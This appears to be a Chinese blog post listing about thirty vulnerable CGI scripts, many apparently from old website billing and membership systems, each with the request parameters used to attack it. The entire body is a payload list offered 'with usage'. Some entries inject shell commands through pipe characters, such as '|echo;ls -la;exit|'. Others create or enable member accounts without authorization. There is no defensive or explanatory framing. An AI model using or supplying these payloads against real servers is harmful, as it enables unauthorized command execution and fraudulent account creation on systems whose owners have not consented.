• [cgibin] 30个漏洞+使用方法


    /smspass.pl
    username=username&password=password

    /index.cgi
    wei=ren&gen=command

    /passmaster.cgi
    Action=Add&Username=Username&Password=Password

    /accountcreate.cgi
    username=username&password=password&ref1=|echo;ls|

    /form.cgi
    name=xxxx&email=email&subject=xxxx&response=|echo;ls|

    /addusr.pl
    /cgi-bin/EuroDebit/addusr.pl
    user=username&pass=Password&confirm=Password

    /ccbill-local.asp
    post_values=username:password

    /count.cgi
    pinfile=|echo;ls -la;exit|

    /recon.cgi
    /recon.cgi?search
    searchoption=1&searchfor=|echo;ls -al;exit|

    /verotelrum.pl
    vercode=username:password:dseegsow:add:amount<&30>

    /af.cgi
    _browser_out=|echo;ls -la;exit;|

    /modify.cgi
    username=username&password=password&expire=30

    /openjournal.cgi
    edit=1&ct=2&go=|echo;ls -al;exit|

    /gx9passwd.cgi
    cmd=ADD&user=username&pass=password

    /probecontrol.cgi
    command=enable&username=username&password=password

    /recon.cgi
    searchoption=3&searchfor=echo;ls -la;exit

    /htadd.pl
    configfile=|echo; ls -alt; exit

    /gx9passwd.cgi
    cmd=ADD&user=username&pass=password

    /ibill*.pl
    reqtype=add&authpwd=authpwd&username=username&password=password

    /cpay.cgi
    command=add_member&username=username(EMAIL)&password=password(DES)

    /globill_ut.cgi
    do=add&username=username&password=password&wpassword=password

    /usercontrol.cgi
    command=enable&username=USER&password=PASS

    /globoSALErum.cgi
    action=ADD&seccode=seccode&login=username&password=password

    /addusr.pl
    user=USER&pass=PASS&confirm=PASS

    /pincount.cgi
    /cgi-bin/mastergate/pincount.cgi
    pinfile=|echo;pwd;exit|

    /accountcreate.cgi
    /cgi-bin/gateway/accountcreate.cgi
    username=username&password=password&password2=password&ref1=|echo;ls -al;exit

    /af.cgi
    /env.cgi
    ADD+;echo;pwd;exit

    /count.cgi
    pinfile=|echo;pwd;exit|

    /recon.cgi
    searchoption=1&searchfor=|echo;ls%20-al;exit|

    /add.cgi
    username=username&password=password&expire=30

  • 相关阅读:
    内网穿透教程
    深入浅出 TCP/IP 协议栈
    STM32CUBEMX配置RTC闹钟
    RT-Thread STM32 系列 BSP 制作教程
    RT-Thread 在stm小内存系列产品的nano+msh完整移植教程
    C语言字符串与数字相互转换
    SD卡 TF卡 接口引脚定义
    定位数据格式
    安信可ESP-12F连接阿里云教程
    电脑使用网络调试助手连接阿里云步骤
  • 原文地址:https://www.cnblogs.com/zhouwenwu/p/2430938.html
Copyright © 2020-2023  润新知